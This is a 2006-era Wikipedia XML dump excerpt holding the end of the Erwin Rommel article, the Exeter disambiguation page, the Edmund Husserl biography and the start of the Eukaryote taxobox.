In the early summer of 1942 ([[May 24]] [[1942]]) Rommel's army attacked. In a classic ''[[blitzkrieg]]'', Rommel outflanked the British  at [[Battle of Gazala|Gazala]], surrounded and reduced the strongpoint at [[Battle of Bir Hakeim|Bir Hakeim]] and forced the British to quickly retreat, in the so-called &quot;Gazala Gallop&quot;, to avoid being completely cut off. Tobruk, isolated and alone, was now all that stood between the Afrika Korps and Egypt. On [[21 June]] [[1942]], after a swift, coordinated and fierce [[combined arms]] assault, the city surrendered along with its 33,000 defenders. Only at the [[Battle of Singapore|fall of Singapore]], earlier that year, had more British and [[Commonwealth of Nations|Commonwealth]] troops been captured. Allied forces were comprehensively beaten. Within weeks they had been pushed back far into [[Egypt]]. 

[[Image:Rommel in Africa1941.jpg|left|thumb|310px|Rommel in Africa - Summer 1941]] 
Rommel's offensive was eventually stopped at the small railway town of [[El Alamein]], just 60 miles from [[Alexandria]]. The [[First Battle of El Alamein]] was lost by Rommel due to a combination of supply problems (created by [[Royal Air Force|RAF]] and [[Royal Navy]] interdiction, assisted by [[Ultra]]) and improved British tactics. Britain, with her back to the wall, was very close to their supplies and had fresh troops on hand to reinforce her positions. Auchinleck's tactics of continually attacking the weaker Italian forces during the battle forced Rommel to use the [[Deutsches Afrika Korps|Afrika Korps]] in a &quot;fire brigade&quot; role and gave Auchinleck the initiative. Rommel tried again to break through British lines during the [[Battle of Alam Halfa]]. He was decisively stopped by the newly arrived Allied commander, Lieutenant General [[Bernard Montgomery]], who had achieved overwhelming material superiority.

With Allied forces from [[Malta]] interdicting his supplies at sea, and the massive distances they had to cover in the desert, Rommel could not hold the El Alamein position forever. Still, it took a large set piece battle, the [[Second Battle of El Alamein]], to force his troops back. After the defeat at El Alamein, despite urgings from [[Hitler]] and [[Mussolini]], Rommel's forces did not again stand and fight until they had entered [[Tunisia]]. Even then, their first battle was not against the [[British Eighth Army]], but against the [[U.S. II Corps]]. Rommel inflicted a sharp reversal on the American forces at the [[Battle of the Kasserine Pass]].

Turning once again to face the British Commonwealth forces in the old French border defences of the [[Mareth Line]], Rommel could only delay the inevitable. [[Ultra]] was a major factor that led to the defeat of his forces.  He left Africa after falling sick, and the men of his former command eventually became [[prisoners of war]].  

Some historians contrast Rommel's withdrawal of his army back to Tunisia against Hitler's dreams of much greater success than even his capture of Tobruk (in sharp contrast to the fate suffered by the [[German 6th Army]] at the [[Battle of Stalingrad]] under the command of [[Friedrich Paulus]] which stood its ground and was annihilated).

Sometimes in this period, it is recorded a failed desperate British attempt to capture Rommel from his headquarters, 250 miles behind the enemy lines. [http://www.nationalarchives.gov.uk/theartofwar/valgal/valour/INF3_0437.htm]

===France 1943-1944===
[[Image:Blaskowitz, Rommel, Rundstedt2.jpg|right|thumb|250px|Field Marshall Erwin Rommel (center) discusses the upcoming Allied invasion of France with Colonel General [[Johannes Blaskowitz]] and Field Marshall [[Gerd von Rundstedt]].]]
Back in Germany, Rommel was for some time virtually &quot;unemployed&quot;. However, when the tide of war shifted against Germany, Hitler made Rommel the commander of Army Group B, responsible for defending the French coast against a possible Allied invasion. Dismayed with the situation he found, the slow building pace and realizing he had just months before an invasion, Rommel invigorated the whole fortification effort along the Atlantic coast, under his direction work was significantly sped up, millions of mines laid, and thousands of tank traps and obstacles were set up on beaches and throughout the countryside.

After his battles in Africa, Rommel concluded that any offensive movements would be impossible due to the overwhelming Allied [[air superiority]]. He argued that the tank forces should be dispersed in small units and kept in heavily fortified positions located as close to the front as possible, so they wouldn't have to move far and en masse when the invasion started. He wanted the invasion stopped right on the beaches. However his commander, [[Gerd von Rundstedt]], felt that there was no way to stop the invasion near the beaches due to the equally overwhelming firepower of the [[Royal Navy]]. He felt the tanks should be formed into large units well inland near [[Paris]], where they could allow the Allies to extend into France and then be cut off. When asked to pick a plan, Hitler then vacillated and placed them in the middle, far enough to be useless to Rommel, not far enough to watch the fight for von Rundstedt. Rommel's plan nearly came to fruition anyway. 

During [[D-Day]] several tank units, notably the [[12th SS Panzer Division Hitlerjugend|12th SS Panzer Division]], were close enough to the beaches to potentially create serious havoc. Hitler refused however to release the panzer reserves as he believed the Normandy landings were a diversion. Hitler and the German High Command expected the main allied assault in the Pas de Calais, thanks to the success of a secret allied deception campaign ([[Operation Fortitude]]). Facing only small scale German attacks, the allies quickly secured the [[beachhead]].

===The plot against Hitler===
[[Image:LangRugeSpeidelRommel May1944.jpg|right|thumb|250px|May 1944, Rommel with his closest staff members, his chief of staff General [[Hans Speidel]], chief naval aide Admiral [[Friedrich Ruge]] and his personal aide Captain [[Hellmuth Lang]], all of whom were heavily involved in the anti-Nazi conspiracy within the Wehrmacht.]]
On [[July 17]], [[1944]] Rommel's [[Charley Fox|staff car was strafed]] by an [[Royal Canadian Air Force|RCAF]] [[Supermarine Spitfire|Spitfire]], and he was hospitalized with major head injuries. In the meantime, after the failed [[July 20 Plot]] against [[Adolf Hitler]] a major crackdown was conducted throughout the Wehrmacht. As the investigation proceeded, numerous connections started appearing that tied Rommel with the conspiracy, in which many of his closest aides were deeply involved. At the same time, local Nazi party officials reported on Rommel's extensive and scornful criticism of Nazi leadership during the time he was hospitalized. [[Martin Bormann|Bormann]] was certain of Rommel's involvement, [[Joseph Goebbels|Goebbels]] was not. 

The true extent of Rommel's knowledge of, or involvement with, the plot is still unclear. After the war, however, his wife maintained that Rommel had been against the plot as it was carried out. It has been stated that Rommel wanted to avoid giving future generations of Germans the perception that the war was lost because of a backstab, the infamous [[Dolchstoßlegende]], as it was commonly believed by some Germans following WWI. Instead, he favored a coup where Hitler would be taken alive and made to stand trial before the public.  
[[Image:Erwin rommel death.jpg|left|thumb|250px|A memorial at the site of Field Marshall Erwin Rommel's [[suicide]] outside of the town of Herrlingen, [[Baden-Württemberg]], [[Germany]] (west of [[Ulm]])]]

Due to Rommel's popularity with the German people, Hitler gave him an option to commit [[suicide]] with [[cyanide]] or face a humiliating sham trial before [[Roland Freisler]]'s &quot;[[Volksgerichtshof|People's Court]]&quot; and the murder of his family and staff. Rommel ended his own life on [[October 14]], [[1944]], and was buried with full military honours. After the war his diary was published as ''The Rommel Papers''. He is the only member of the [[Third Reich]] establishment to have a museum dedicated to his person and his career. His grave can be found in Herrlingen, a short distance west of [[Ulm]].

==Battles==
*[[Battle of Arras (1940)]]
*[[Siege of Tobruk]] ([[1941]])
*[[Battle of Gazala]] ([[1942]])
*[[Battle of Bir Hakeim]] ([[1942]])
*[[First Battle of El Alamein]] ([[1942]])
*[[Battle of Alam Halfa]] ([[1942]])
*[[Second Battle of El Alamein]] ([[1942]])
*[[Battle of the Kasserine Pass]] ([[1943]])
*[[Battle of Normandy]] ([[1944]])

==In fiction==

He was portrayed by [[James Mason]] in the [[1951]] [[Film|movie]] ''The Desert Fox'', and also by [[Karl Michael Vogler]] in the [[1970]] biographical [[film]] ''[[Patton (film)|Patton]]'', starring [[George C. Scott]], and by [[Hardy Kruger]] in the [[1988]] television [[miniseries]] ''[[War and Remembrance]]''.

In [[Philip K. Dick]]'s [[Alternate history (fiction)|alternate history]] novel &quot;[[The Man in the High Castle]]&quot;, it is mentioned that Rommel is currently the Nazi-appointed president of the United States of America in the early 1960s.

In [[Douglas Niles]]'s and [[Michael Dobson]]'s alternate history novel ''[[Fox on the Rhine]]'', Hitler was killed by the bomb plot of [[July 20]] [[1944]]. This led to Rommel's survival, and a different quick offensive strike. This was repelled and the book ended with his surrender to the Americans and British, believing that the Germans would be better off with the western powers than with the Soviets. ''Fox on the Rhine'' was followed by a sequel book ''Fox on the Front''.

In [[Donna Barr]]'s novel ''Bread and Swans'' the historical Rommel shares his concerns and career with a fictitious younger brother, Pfirsich,
aka [[The Desert Peach]].  Both Rommels also appear as focal characters of Barr's long-running comic strip series about &quot;The Peach.&quot;

==Quotations about Rommel==
&lt;!-- only a few selected quotes to be included in main article here --&gt;
*The [[British Parliament]] considered a censure vote against [[Winston Churchill]] following the surrender of Tobruk. The vote failed, but in the course of the debate, Churchill would say:
**''&quot;We have a very daring and skillful opponent against us, and, may I say across the havoc of war, a great General.&quot;''
*[[Churchill]] again, on hearing of Rommel's death:
**''&quot;He also deserves our respect, because, although a loyal German soldier, he came to hate Hitler and all his works, and took part in the conspiracy to rescue Germany by displacing the maniac and tyrant. For this, he paid the forfeit of his life. In the sombre wars of modern democracy, there is little place for chivalry” ''  
*[[Theodor Werner]] was an officer who, during World War I, served under Rommel.
**''&quot;Anybody who came under the spell of his personality turned into a real soldier. He seemed to know what the enemy were like and how they would react.&quot;''
*Attributed to General [[George S. Patton]] in North Africa (referring to ''&quot;[[Infantry Attacks]]&quot;'')
**''&quot;Rommel, you magnificent bastard! I read your book!&quot;''

==Quotations==

*&quot;Sweat saves blood, blood saves lives, and brains saves both.&quot;
*&quot;Mortal danger is an effective antidote for fixed ideas.&quot;
*&quot;The best form of welfare for the troops is first-rate training.&quot;
*&quot;Don't fight a battle if you don't gain anything by winning.&quot;
*&quot;In a man-to-man fight, the winner is he who has one more round in his magazine.&quot;
*&quot;Courage which goes against military expediency is stupidity, or, if it is insisted upon by a commander, irresponsibility.&quot;
*&quot;So long as one isn't carrying one's head under one's arm, things aren't too bad.&quot;
*&quot;A risk is a chance you take; if it fails you can recover.  A gamble is a chance taken; if it fails, recovery is impossible.&quot;
*&quot;There is one unalterable difference between a soldier and a civilian: the civilian never does more than he is paid to do.&quot;
*&quot;What difference does it make if you have two tanks to my one, when you spread them out and let me smash them in detail?&quot;
*&quot;The best plan is the one made when the battle is over.&quot;
*&quot;In the absence of orders, go find something and kill it.&quot;
*&quot;The officers of a panzer division must learn to think and act independently within the framework of the general plan and not wait until they receive orders.&quot;
*&quot;Men are basically smart or dumb and lazy or ambitious. The dumb and ambitious ones are dangerous and I get rid of them. The dumb and lazy ones I give mundane duties. The smart ambitious ones I put on my staff. The smart and lazy ones I make my commanders.&quot;
*&quot;Be an example to your men, in your duty and in private life. Never spare yourself, and let the troops see that you don't in your endurance of fatigue and privation. Always be tactful and well-mannered and teach your subordinates to do the same. Avoid excessive sharpness or harshness of voice, which usually indicates the man who has shortcomings of his own to hide.&quot;
*&quot;The future battle on the ground will be preceded by battle in the air. This will determine which of the contestants has to suffer operational and tactical disadvantages and be forced throughout the battle into adoption compromise solutions.&quot;
*&quot;Anyone who has to fight, even with the most modern weapons, against an enemy in complete command of the air, fights like a savage against modern European troops, under the same handicaps and with the same chances of success.&quot;
*&quot;One must not judge everyone in the world by his qualities as a soldier: otherwise we should have no civilization.&quot;
*&quot;The art of concentrating strength at one point, forcing a breakthrough, rolling up and securing the flanks on either side, and then penetrating like lightning deep into his rear, before the enemy has time to react-is ''[[Blitzkrieg]]''.&quot;
*&quot;Messages can't be intercepted if they aren't sent, can they?&quot; 
*&quot;This business with the Jews has got to stop.&quot;


==References==
{{commons|Erwin Johannes Eugen Rommel}}
* ''The Battle of Alamein: Turning Point, World War II'', by [[John Bierman|Bierman]] and [[Colin Smith|Smith]] ([[2002]]). ISBN 0670030406
* ''Rommel's Greatest Victory'', by Samuel W. Mitcham, Samuel Mitcham. ISBN 0891417303 
* ''Meeting the Fox: The Allied Invasion of Africa, from Operation Torch to Kasserine Pass to Victory in Tunisia'', by Orr Kelly. ISBN 0471414298
* ''INSIDE THE AFRIKA KORPS: The Crusader Battles, 1941-1942''. ISBN 1853673226 
* ''Alamein'', by Jon Latimer. ISBN 0674010167 
* ''Tank Combat in North Africa: The Opening Rounds : Operations Sonnenblume, Brevity, Skorpion and Battleaxe February 1941-June 1941 (Schiffer Military History)'', by Thomas L. Jentz. ISBN 0764302264 
* ''Rommel's North Africa Campaign: September 1940 - November 1942'', by Jack Greene. ISBN 1580970184
* ''Tobruk 1941: Rommel's Opening Move (Campaign, 80)'' by Jon Latimer. ISBN 1841760927 
* ''21st Panzer Division: Rommel's Africa Korps Spearhead (Spearhead Series)'', by Chris Ellis. ISBN 0711028532 
* ''Afrikakorps, 1941-1943: The Libya Egypt Campaign'', by Francois De Lannoy. ISBN 2840481529
* ''With Rommel's Army in Libya'' by Almasy, Gabriel Francis Horchler, Janos Kubassek. ISBN 0759616086 
* ''Generalfeldmarschall Rommel : opperbevelhebber van Heeresgruppe B bij de voorbereiding van de verdediging van West-Europa, 5&amp;nbsp;November 1943 tot 6 juni 1944'' by Hans Sakkers (1993). ISBN 90-800900-2-6 [text/photobook in Dutch about Rommel at the Atlantic Wall 1943/44]

==External links==
{{wikiquote}}
*[http://www.badley.info/history/Rommel-Erwin-Johannes-Eugen-Germany.biog.html Rommel Chronology World History Database]
*[http://www.eyewitnesstohistory.com/rommel.htm The Forced Suicide of Field Marshall Rommel, 1944]
*[http://www.eyewitnesstohistory.com/blitzkrieg.htm Excerpts from Rommel's account of the blitzkrieg, 1940]
* [http://one35th.com/rommel/gallery0.htm Erwin Johannes Eugen Rommel]
* [http://www.prominentpeople.co.za/people/5php Prominent People - Erwin Rommel]
* [http://pedg.org/panzer/public/website/gen1.htm Erwin (Johannes Eugen) Rommel, The Desert Fox / Der Wustenfuchs] at Achtung Panzer!

{{GFMofWWII}}

{{RKDiamonds}}

[[Category:1891 births|Rommel, Erwin]]
[[Category:1944 deaths|Rommel, Erwin]]
[[Category:Natives of Baden-Württemberg|Rommel, Erwin]]
[[Category:Field Marshals of Nazi Germany|Rommel, Erwin]]
[[Category:German generals|Rommel, Erwin]]
[[Category:German World War II people|Rommel, Erwin]]
[[Category:Military writers|Rommel, Erwin]]
[[Category:Military people who committed suicide|Rommel, Erwin]]

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    </revision>
  </page>
  <page>
    <title>Exeter (disambiguation)</title>
    <id>9517</id>
    <revision>
      <id>35930159</id>
      <timestamp>2006-01-20T08:18:15Z</timestamp>
      <contributor>
        <username>Blnguyen</username>
        <id>435516</id>
      </contributor>
      <comment>/* Place names */ add another in Sa, AUS</comment>
      <text xml:space="preserve">'''Exeter''' is the name of a number of places and other entities around the world, taking their names directly or indirectly from the city of [[Exeter]] in [[Devon]], [[England]]:

==Place names==
*''In [[Australia]]'':
**[[Exeter, New South Wales]]
**[[Exeter, South Australia]]
**[[Exeter, Tasmania]]
**[[Exeter, South Australia]]
*''In [[Canada]]'', [[Exeter, Ontario]]
*''In the [[United Kingdom]]'', [[Exeter|Exeter, Devon]]&amp;mdash;the original location
* ''In the [[United States of America]]'':
**[[Exeter, California ]]
**[[Exeter, Illinois]]
**[[Exeter, Maine]]
**[[Exeter, Missouri]]
**[[Exeter, Nebraska]]
**[[Exeter, New Hampshire]]&amp;mdash;the town
**[[Exeter (CDP), New Hampshire]]&amp;mdash;the [[census-designated place]] comprised mainly of the town
**[[Exeter, New York]]
**[[Exeter, Pennsylvania]]
**[[Exeter, Rhode Island]]
**[[Exeter, Wisconsin]]
**three different places called [[Exeter Township, Pennsylvania]]:
***[[Exeter Township, Berks County, Pennsylvania]]
***[[Exeter Township, Luzerne County, Pennsylvania]]
***[[Exeter Township, Wyoming County, Pennsylvania]]

==Others==
The name may also refer to:
*[[Exeter College, Oxford]]
*[[Phillips Exeter Academy]], a private secondary school in the [[United States of America]]
*The [[University of Exeter]] in [[England]] 
*Any of several [[Royal Navy]] ships named [[HMS Exeter]]
*The [[Duke of Exeter]]
*The [[Earl of Exeter]]
*The [[Marquess of Exeter]]
*The [[Exeter Book]], an [[Old English language|Old English]] codex.

{{disambig}}

[[de:Exeter (Begriffsklärung)]]
[[sl:Exeter (razločitev)]]
[[sv:Exeter (olika betydelser)]]</text>
    </revision>
  </page>
  <page>
    <title>Edmund Husserl</title>
    <id>9518</id>
    <revision>
      <id>41993228</id>
      <timestamp>2006-03-03T02:26:15Z</timestamp>
      <contributor>
        <username>Rayana fazli</username>
        <id>824188</id>
      </contributor>
      <comment>/* Pages about Husserl */</comment>
      <text xml:space="preserve">{{Infobox_Philosopher |
  &lt;!-- Scroll down to edit this page --&gt;
  &lt;!-- Philosopher Category --&gt;
  region          = Western Philosophers |
  era             = [[20th-century philosophy]] |
  color           = #B0C4DE |

  &lt;!-- Image and Caption --&gt;
  image_name      = EdmundHusserl.jpg |
  image_caption   = Edmund Husserl |

  &lt;!-- Information --&gt;
  name             = Edmund Gustav Albrecht Husserl |
  birth            = [[April 8]], [[1859]] ([[Prostejov|Prost&amp;#283;jov]], [[Moravia]], [[Czech Republic]]) |
  death            = [[April 26]], [[1938]] ([[Freiburg]], [[Germany]]) |
  school_tradition = [[Phenomenology]] |
  main_interests   = [[Epistemology]], [[Mathematics]]  |
  influences       = [[Franz Brentano]], [[Carl Stumpf]] |
  influenced       = Eugen Fink, [[Kurt Gödel]], [[Martin Heidegger]], [[Maurice Merleau-Ponty]], [[Jean-Paul Sartre]], [[Edith Stein]] |
  notable_ideas    = Epoché, Natural Standpoint, [[Noema]], [[Noesis]] |
}}


'''Edmund Gustav Albrecht Husserl''' ([[April 8]] [[1859]] - [[April 26]] [[1938]], [[Freiburg]]) was a [[Germany|German]] [[philosopher]], known as the &quot;father&quot; of [[phenomenology]].

Husserl was born into a [[Jew]]ish family in [[Prostejov|Prost&amp;#283;jov]] (Prossnitz), [[Moravia]], [[Czech Republic]] (then part of the [[Austrian Empire]]). A pupil of [[Franz Brentano]] and [[Carl Stumpf]], Husserl came to influence, among others, [[Edith Stein]] (St. Teresa Benedicta of the Cross), Eugen Fink, [[Martin Heidegger]], [[Jean-Paul Sartre]], and [[Maurice Merleau-Ponty]]. [[Hermann Weyl]]'s interest in [[intuitionistic logic]] and [[impredicativity]] appear to have resulted from contacts with Husserl. In 1887 he converted to [[Christianity]] and joined the [[Lutheran Church]]. He taught philosophy at Halle as a tutor (''Privatdozent'') from 1887, then at Göttingen as professor from 1901, and at Freiburg im Breisgau from 1916 until he retired in 1928. Following his &quot;retirement,&quot; he continued his research and writing by using the library at Freiburg, until barred therefrom because of his Jewish heritage under the rectorship of his former pupil and intended protege, Heidegger. 

==Life and works==
===Husserl's studies and early works===
Husserl initially studied [[mathematics]] at the universities of [[Leipzig]] ([[1876]]) and [[Berlin]] ([[1878]]), under [[Karl Weierstrass]] and [[Leopold Kronecker]]. In [[1881]] he went to [[Vienna]] to study under the supervision of [[Leo Königsberger]] (a former student of Weierstrass), obtaining the Ph.D. in [[1883]] with the work ''Beiträge zur Variationsrechnung'' (&quot;Contributions to the Calculus of Variations&quot;).

In [[1884]], he began to attend [[Franz Brentano]]'s lectures on [[psychology]] and [[philosophy]] at the University of Vienna. Brentano so impressed Husserl that he decided to dedicate his life to philosophy. In [[1886]] Husserl went to the [[University of Halle]] to obtain his [[habilitation]] with [[Carl Stumpf]], a former student of Brentano. Under his supervision he wrote ''Über den Begriff der Zahl'' (On the concept of Number; [[1887]]) which would serve later as the base for his first major work the [[Edmund Husserl/Philosophie der Arithmetik|Philosophie der Arithmetik]] (''Philosophy of Arithmetic'', [[1891]]).

In these first works he tries to combine mathematics, psychology and philosophy with as main goal to provide a sound foundation for mathematics. He analyses the psychological process needed to obtain the concept of number and then tries to build up a systematical theory on this analysis. To achieve this he uses several methods and concepts taken from his teachers. From Weierstrass he derives the idea that we generate the concept of number by counting a certain collection of objects. From Brentano and Stumpf he takes over the distinction between ''proper'' and ''improper'' presenting. In an example Husserl explains this in the following way: if you are standing in front of a house, you have a proper, direct presentation of that house, but if you are looking for it and ask for directions, then these directions (e.g. the house on the corner of this and that street) are an indirect, improper presentation. In other words, you can have a proper presentation of an object if it is actually present, and an improper (or symbolic as he also calls it) if you only can indicate that object through signs, symbols, etc. On Husserl the [[philosophy of mathematics|philosopher of mathematics]] and rival of [[Frege]], see Hill and Rosado Haddock (2000). Husserl's 1901 ''Logical Investigations'' is considered the starting point for the formal theory of wholes and their parts known as [[mereology]] (Simons 1987).

Another important element that Husserl took over from Brentano is [[intentionality]], the notion that the main characteristic of [[consciousness]] is that it is always [[Intentionality|intentional]]. While often simplistically summarised as &quot;aboutness&quot; or the relationship between mental acts and the external world, Brentano defined it as the main characteristic of ''psychical phenomena'', by which they could be distinguished from ''physical phenomena''. Every mental phenomenon, every psychological act has a content, is directed at an object (the ''intentional object''). Every belief, desire etc. has an object that they are about: the believed, the wanted. Brentano used the expression &quot;intentional inexistence&quot; to indicate the status of the objects of thought in the mind. The property of being intentional, of having an intentional object, was the key feature to distinguish psychical phenomena and physical phenomena, because physical phenomena lack intentionality altogether.

===The Elaboration of Phenomenology===
Some years after the publication of his main work, the ''[[Edmund Husserl/Logische Untersuchungen|Logische Untersuchungen]]'' (''Logical Investigations''; first edition, 1900-1901) Husserl made some key conceptual elaborations which led him to assert that in order to study the structure of consciousness, one would have to distinguish between the act of consciousness and the phenomena at which it is directed (the object-in-itself, transcendent to consciousness). Knowledge of [[essence]]s would only be possible by &quot;bracketing&quot; all assumptions about the existence of an external world. This procedure he called ''epoché''. These new concepts prompted the publication of the ''Ideen'' (Ideas) in [[1913]], in which they were at first incorporated, and a plan for a second edition of the ''Logische Untersuchungen''.

From the ''Ideen'' onward, Husserl concentrated on the ideal, essential structures of consciousness. The metaphysical problem of establishing the material reality of what we perceive was of little interest to Husserl (other than when he had to repeatedly defend his position of transcendental idealism, which did not at any point propose that there were no real material objects). Husserl proposed that the world of objects and ways in which we direct ourselves toward and perceive those objects is normally conceived of in what he called the &quot;natural standpoint&quot;, which is characterized by a belief that objects materially exist and exhibit properties that we see as emanating from them. Husserl proposed a radical new phenomenological way of looking at objects by examining how we, in our many ways of being intentionally directed toward them, actually &quot;constitute&quot; them (to be distinguished from materially creating objects or objects merely being figments of the imagination); in the Phenomenological standpoint, the object ceases to be something simply &quot;external&quot; and ceases to be seen as providing indicators about what it is (a way of looking that is most explicitly delineated by the natural sciences), and becomes a grouping of perceptual and functional aspects that imply one another under the idea of a particular object or &quot;type&quot;. The notion of objects as real is not expelled by phenomenology, but &quot;bracketed&quot; as a way in which we regard objects instead of a feature that inheres in an object's essence founded in the relation between the object and the perceiver. In order to better understand the world of appearances and objects, [[Phenomenology]] attempts to identify the invariant features of how objects are perceived and pushes attributions of reality into their role as an attribution about the things we perceive (or an assumption underlying how we perceive objects).

In a later period, Husserl began to wrestle with the complicated issues of intersubjectivity (specifically, how communication about an object can be assumed to refer to the same ideal entity) and tries new methods of bringing his readers to understand the importance of [[Phenomenology]] to scientific inquiry (and specifically to [[Psychology]]) and what it means to &quot;bracket&quot; the natural attitude.  The Crisis of the European Sciences is Husserl's unfinished work that deals most directly with these issues. In it, Husserl for the first time attempts a historical overview of the development of [[Western philosophy]] and [[science]], emphasizing the challenges presented by their increasingly (one-sidedly) [[empirical]] and [[naturalistic]] orientation. Husserl declares that mental and spiritual reality possess their own reality independent of any physical basis, and that a [[spiritual science | science of the spirit]] ('[[Geisteswissenschaft]]') must be established on as scientific a foundation as the [[natural science]]s have managed.

Professor Husserl was denied the use of the library at Freiburg as a result of the anti-Jewish legislation the National Socialists (Nazis) passed in April 1933.  His former pupil and Nazi Party member, [[Martin Heidegger]], informed Husserl that he was discharged. Heidegger (whose philosophy Husserl considered to be the result of a faulty departure from, and grave misunderstanding of Husserl's own teachings and methods) removed the dedication to Husserl from his most widely known work, [[Being and Time]], when it was reissued in [[1941]].

In 1939 Husserl's manuscripts, amounting to approximately 40,000 pages of &quot;''Gabelsberger''&quot; [[stenography]] and his complete research library were smuggled to Belgium and deposited at Leuven to form the ''Husserl-Archives''. Much of the material in his research manuscripts has been published in the [[Husserliana]] critical edition series.

== Bibliography ==
===Works by Husserl===
*1887. ''Über den Begriff der Zahl. Psychologische Analysen''.
*1891. ''Philosophie der Arithmetik. Psychologische und logische Untersuchungen''.
*1900. ''Logische Untersuchungen. Erste Teil: Prolegomena zur reinen Logik''. 
*1901. ''Logische Untersuchungen. Zweite Teil: Untersuchungen zur Phänomenologie und Theorie der Erkenntnis''.
*1911. ''Philosophie als strenge Wissenschaft''.
*1913. ''Ideen zu einer reinen Phänomenologie und phänomenologischen Philosophie. Erstes Buch: Allgemeine Einführung in die reine Phänomenologie''.
*1928. ''Vorlesungen zur Phänomenologie des inneren Zeitbewusstseins''.
*1929. ''Formale und transzendentale Logik. Versuch einer Kritik der logischen Vernunft''.
*1931. ''Mèditations cartèsiennes''.
*1936. ''Die Krisis der europäischen Wissenschaften und die transzentale Phänomenologie: Eine Einleitung in die phänomenologische Philosophie''.

===Works about Husserl===
*Derrida, Jacques, 1976 (English). ''Undecidables and old names: Derrida's deconstruction and Introduction to Husserl's'' The Origin of Geometry.
*Derrida, Jacques, 1967 (French), 1973 (English). ''Speech and Phenomena (La Voix et le Phénomène), and other Essays on Husserl's Theory of Signs''. ISBN 0810103974
*Hill, C. O., 1991. ''Word and Object in Husserl, Frege, and Russell: The Roots of Twentieth-Century Philosophy''. Ohio Uni. Press.
*Hill, C. O., and Rosado Haddock, G. E., 2000. ''Husserl or Frege? Meaning, Objectivity, and Mathematics''. Open Court.
*Rollinger, R. D., 1999. ''Husserl&amp;rsquo;s Position in the School of Brentano'' Phaenomenologica 150. Kluwer. ISBN 0792356845
*Schuhmann, K., 1977. ''Husserl &amp;ndash; Chronik (Denk- und Lebensweg Edmund Husserls)''. Number I in ''Husserliana Dokumente''. Martinus Nijhoff. ISBN 9024719720
*Simons, Peter, 1987. ''Parts: A Study in Ontology''. Oxford Uni. Press.
*Smith, B. and Woodruff Smith, D., eds., 1995. ''The Cambridge Companion to Husserl''. Cambridge Uni. Press. ISBN 0521436168

== External links ==
===Husserl Archives===
* [http://www.hiw.kuleuven.ac.be/hiw/eng/husserl/ Husserl-Archives Leuven] The main Husserl-Archive in [[Leuven]], International Centre for Phenomenological Research
** [http://www.hiw.kuleuven.be/hiw/eng/husserl/Husserliana.php Husserliana: Edmund Husserl Gesammelte Werke] The ongoing critical edition of Husserl's works
** [http://www.hiw.kuleuven.be/hiw/eng/husserl/Materialien.php Husserliana:Materialien] Edition for lectures and shorter works 
** [http://www.hiw.kuleuven.be/hiw/eng/husserl/Collected.php Edmund Husserl Collected Works] English translation of Husserl's works
* [http://www.husserl.uni-koeln.de/ Husserl-Archives Cologne] at the [[University]] of [[Cologne]]
* [http://www.husserlarchiv.uni-freiburg.de/husserl.html Husserl-Archives Freiburg]
* [http://www.newschool.edu/gf/phil/husserl/ Husserl Archives at the New School] ([[New York]])
* [http://www.umr8547.ens.fr/fonds-d'Archives.html Archives Husserl de Paris] at the ''École normale supérieure'', [[Paris]].

===Pages about Husserl===
*[http://www.husserlpage.com/ www.husserlpage.com] &quot;Aim:  To provide easy access to those net resources pertaining to the life and work of the 20th century philosopher, Edmund Husserl.&quot;
*[http://www.husserl.net Husserl.net] Open Content Project on Husserl.
*[http://www.husserl.info Husserl.info] Articles, Phenomenological [http://www.husserl.info/directory.html Directory] and Bibliographies [http://www.husserl.info/bibliobase.html Database], [http://www.husserl.info/guides.html Guides], [http://www.wesenschau.com Wesenschau] e-Journal for Transcendental Logic and Comparative Philosophy, Phenomenological [http://www.husserl.info/encyclopedia.html Dictionary] and [http://www.wesenschau.com/forums.html Forums]
*[http://www.formalontology.it/husserle.htm Ontology. A resource guide for philosophers] Edmund Husserl's Formal Ontology.
*[http://plato.stanford.edu/entries/husserl/ Stanford Encyclopedia of Philosophy entry]
* [http://www.husserlcircle.org/ The Husserl Circle]
*[http://www.husserlreseach.pbwiki.com Husserlresearch.pbwiki.com] Quotes from Husserl texts.

[[Category:1859 births|Husserl, Edmund]]
[[Category:1938 deaths|Husserl, Edmund]]
[[Category:19th century philosophers|Husserl, Edmund]]
[[Category:20th century philosophers|Husserl, Edmund]]
[[Category:Continental philosophers|Husserl, Edmund]]
[[Category:Mathematicians|Husserl, Edmund]]
[[Category:Phenomenology|Husserl, Edmund]]

[[af:Edmund Husserl]]
[[cs:Edmund Husserl]]
[[da:Edmund Husserl]]
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[[ko:에드문트 후설]]
[[hr:Edmund Husserl]]
[[it:Edmund Husserl]]
[[he:אדמונד הוסרל]]
[[ka:ჰუსერლი, ედმუნდ]]
[[lt:Edmundas Husserlis]]
[[hu:Edmund Husserl]]
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    </revision>
  </page>
  <page>
    <title>Eukaryote</title>
    <id>9530</id>
    <revision>
      <id>42118003</id>
      <timestamp>2006-03-03T23:06:37Z</timestamp>
      <contributor>
        <username>Josh Grosse</username>
        <id>517</id>
      </contributor>
      <text xml:space="preserve">{{Taxobox_begin | color = #e0d0b0 | name = Eukaryotes}}
{{Taxobox_begin_placement | color = #e0d0b0}}
{{Taxobox_domain_entry | taxon = '''Eukaryota'''}}&lt;br/&gt;{{Taxobox authority | author = [[Robert Whittaker|Whittaker]] &amp;amp; [[Lynn Margulis|Margulis]] | date = 1978}}
{{Taxobox_end_placement}}
{{Taxobox_section_subdivision | color = #e0d0b0 | plural_taxon = [[Kingdom (biology)|Kingdoms]]}}
|-
| style = &quot;background: pink; padding: 4px;&quot; | [[Animal]]ia - Animals
|-
| style = &quot;background: lightblue; padding: 4px;&quot; | [[Fungus|Fungi]]
|-
| style = &quot;background: lightgreen; padding: 4px;&quot; | [[Plant]]ae - Plants
|-
| style = &quot;background: khaki; padding: 4px;&quot; | [[Protist]]a
{{Taxobox_end}}
